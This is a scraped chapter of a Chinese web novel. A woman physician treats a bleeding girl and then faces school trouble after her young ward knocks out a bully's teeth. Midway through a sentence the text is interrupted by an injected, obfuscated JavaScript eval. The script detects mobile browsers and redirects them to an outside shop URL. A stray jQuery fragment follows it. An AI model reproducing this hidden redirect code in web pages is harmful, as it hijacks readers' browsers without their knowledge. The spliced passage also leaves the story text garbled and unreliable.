默认冷灰
24号文字
方正启体

16. 第十六章

作者:胭脂贼本书字数:K更新时间:
    待药煎好,趁热喂胡令令喝下后,一边的何观嘱托道:“且看明日血止不止得住,若是止得住,后日你便来医馆中找我。然后七日为一程,给你调整药方,除去喝药外还得加上食补。若是有条件,莫要亏了自己。但若是止不住,明日叫你父亲再来医馆,我便重新为你煎药。这些止血之药性猛,最多服三天,若还是不行,只能做最坏打算。”


    何观缓了下,又把方才在外面提醒胡掌柜的话,对胡令令说了一番。


    年岁尚小的胡令令,也是被那番话吓得眼神发愣,良久才恢复神采,喘息时说:“好,无缘子嗣,便无缘子嗣吧。大不了多去城外的村里转转,看谁家有不要的孩子,领一个回来,我也当他是我亲生的。”


    但说着说着,又低声啜泣起来,明显同方才的眼泪不一样。


    何观未附和,只沉默着伸手拍了拍胡令令的背,少女背脊的脊骨都清晰突出。


    何观该说上一句怒伤肝、悲伤肺,但胡令令的情绪已经积攒有几年了,再不疏泄怕是比现下大悲大恸还要有损身体。


    她端着空了的药碗出门去,见到门旁边搓着手一脸期盼的胡掌柜,只长叹一口气离开。


    身后的男子见门内俯趴在床上哭泣的女儿,又开始嚎啕自己失悔。


    这一趟折腾下来,也是到了常人该入睡的时候。


    归家时,何观却见着一路左右邻居的门都没有关上,甚至有一两个人就站在门口,还夸了她几句“何大夫真是个负责的好大夫”一类的话。


    何观也礼貌谦让了回去,等到自己的住处,屋里却是黑漆漆的。


    何观先疑谢慎已睡,但进到屋里却模糊能见着小孩没换衣服,只是抱着鸟坐在床上。


    “阿姐,你回来了?”


    何观点头,顺着记忆去找放油灯的位置,问道:“屋里这么暗,怎么不点灯?”


    谢慎也颇委屈,“我同姑妄言没找到折子在哪儿,也未配火镰……”


    何观想了想,这事也是自己的错,有些懊悔地说:“怪我给带走了,明儿再去多买一个吧。”


    就摸黑开始点灯,火镰打出来的火星崩到火绒上燃起一小团,何观忙挑出灯芯点上灯,那屋子小,一盏灯也便都照亮了。


    暖暖的光团映着,显得安静的谢慎像绣像画中的神童。被谢慎抱在怀中的黑鸟也颇安静,一双黑色的眼睛瞧着不精明,倒是有几分呆傻。


    何观一边收拾一边说:“你那鸟今儿可没吃什么,方才你喂过没有?”


    “喂过了。墙根儿抓到三两条小蛇,它都给吃了。还在宁大夫那边抓到两只大老鼠。”


    “那还算是有用的。明日可要继续上学?”


    “要。”


    但谢慎的声音随即又低了下去,颇为小心地说:“今日课堂上,我犯了错处。”


    “什么错处?”一向觉得谢慎是个听话孩子的何观,听他这么一句可以说十分意外。


    谢慎则是越发小声了,“有人说我是父母都不要的野种。”


    “哦?”何观随意应了声,愈发觉得自个儿是脱离人世太久了,怎么连这事都给忘了。自个小时候也被说过类似的话,应对方式也简单。


    “可打回去了?”


    “打回去了。”谢慎颇为自豪地点起头,但说话依旧细声细语,“可被他们告在夫子那里了。夫子下学时训了许奶奶,还说明日阿姐有空也跟着去一趟。”


    “我跟着去一趟?别人招惹你,你回击这不天经地义,居然还要找我去,这是什么理?”


    何观颇不适应。


    她幼年开蒙是由老童生单独教导的,自然没什么机会与其他学童产生矛盾。


    至于学校外出的那些事儿,无论是郎中还是她,都只想着打了便打了,谁叫那些人嘴贱呢?


    怎么到这儿又是另外的规矩?


    何观不放心,又追问了句,“你将那人打的严重不?”


    谢慎的小脸也垮了下来,黑色的眸子在地上盯来盯去,就是不敢看何观,声音愈发小,但何观还是听清了那一句,“给领头的撞掉了两颗牙”的话。


    何观眼睛一瞪,近前仔仔细细把谢慎看了又看。她这救回来的孩子,倒真是会给她找惊喜。但事到如今,也只能希望明天自个儿嘴皮子能足够利索了。


    “那…掉了牙的那一位,大抵是多少年纪?”


    谢慎比了比说:“高我有大半个头吧。”


    便可以说是正常换齿吧……


    但也不知夫子信不信。


    何观只能无奈一叹,也不说怪孩子的话,只拿出自己游历这么多年,得出的一些经验来教育谢慎道:“下次再出这事,寻着个机会,给他私下堵了,垫上两三本书隔着打,这样才叫人看不出来,知道吗?”


    “知道了。”


    “但这也有可能叫人看见。这样,你下次直接带上姑妄言,叫它去啄那些个嘴上没甚家教的,到时候夫子也怪不到你头上来。”


    谢慎和姑妄言异口同声地应道:“知道了。”


    第二日,何观刚出门便撞见早在门口候着的宁愿得,对方在其开口前便体贴地说:“我都知道,何大夫。来也只是告你一声,我会在坐馆那儿给你要上一日的休息时间。不过若是夫子那边事儿处理得圆满,且时辰还早的话。你就还是来医馆一趟,可好?”


    何观忙点头同意,也颇为不好意思地叹道:“多谢宁大夫为我考量。”


    谢慎也早已收拾好,却一直躲在门里不愿出来,直至宁愿得的母亲领着铁牛从隔壁门内出来,都出声催他了,他才扭捏着走到何观身边,走路都比寻常慢上许多。


    领头的两位大人正对着口供。


    何观倒不是信不过谢慎,只是孩子嘛…她也经历过,在三四五岁,正是逗猫惹狗,人见狗嫌的年纪,保不准是谢慎先做了什么挑起的事端。


    “这倒没有,这倒没有。”


    在何观委婉询问事故起因,是否是因为谢慎第一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025372|194377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上学,还没来得及适应所致时。


    宁愿得的母亲许云君立马心领神会到何观的意思,她说话也同宁愿得那样,有时颇直言不讳。


    “昨日是刘家的孩子先找的他麻烦,那几个小子同他们父母一样,仗着主家出了个官人,就嚣张跋扈,干那种狐假虎威的事干惯了。莫说欺辱学生,就算是夫子,不少也给他们威胁着说要叫主家辞了,去挑别的人来当。”


    何观松了口气,“那我家谢慎还是占理。”


    她话还没落,便听见一阵急促的脚步声,头往旁边一看,方才拖拖拉拉不愿跟上的谢慎,这会是装作板着一张小脸,目不斜视地跟在她身边。叫许云君看了,不由笑骂一句,“知道我们都给你撑腰,便就跟上来了是吧?”


    谢慎抿嘴不说话,他肩上的姑妄言却积极叫着,“是的”、“是的”。


    但占理也只是占理,无论怎么,那学校都是刘家的地盘。若是夫子偏心那些孩子,非要给谢慎一个处分,甚至叫谢慎退学。何观能做的,也就最多在嘴上争个胜负出来。


    如此一想,何观便感觉额头有几分微疼。


    此地三家大户,能一同想出以钱券代替银子、铜钱这些实钱的法子,还能叫其他人都认可遵守,那关系势必不会差。而此时若得罪了刘家,谢慎能否去另两家的学舍上学都成问题。更严重的怕是在这城中都待不下去。今日就得回去收拾东西,再寻它处了。


    若是真到如此地步,也不知还能不能来得及去看胡令令,至少得给她配上一程的药吧。


    就是不知她下次随诊,还能不能有其他擅长女科的大夫给她看。


    何观一路走一路想,表情越发严肃,神态竟和谢慎有一两分相似,叫许云君诧异说俩人这会还真有姐弟相。


    两个孩子进课堂去,进去前许云君给他俩各塞了几块饼子。何观则被带去见了夫子,还没说上两句,夫子便又请何观去另一个房间,说见掌事,可房间内却站着两男一女三号人。


    何观只得先自我介绍道:“何某不才,是李家医馆新到的大夫,也是昨日入学学子谢慎的姐姐,请问诸位是?”


    那二男一女倒好分辨。其中一男一女穿着织锦的袍子,身上还缀了些首饰。另一位则是襕衫的儒生打扮,头戴和何观一样的方巾,这位也先开口说自己身份,也确实如何观所想,这位便是掌事,就行了礼。


    “这一两位…”


    同何观回过礼后,掌事语气颇正式地为何观介绍道:“这位大人,是刘老爷第三房生的儿子,亦是刘大官人的庶弟。那给谢慎撞掉两颗牙的混小子,就是这位的儿子。旁边的夫人,便是那混小子的母亲。”


    这用词用句,叫何观有些疑惑,从头听下来只觉得掌事对这两夫妇十分看不起,算是连基本的礼貌都给抛掉了。


    那两人也是尴尬的应了掌事的话,顺便说了自己的姓名。


    这其中的弯弯绕绕何观不清楚,但互相介绍完毕,三方免不了一套客场话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)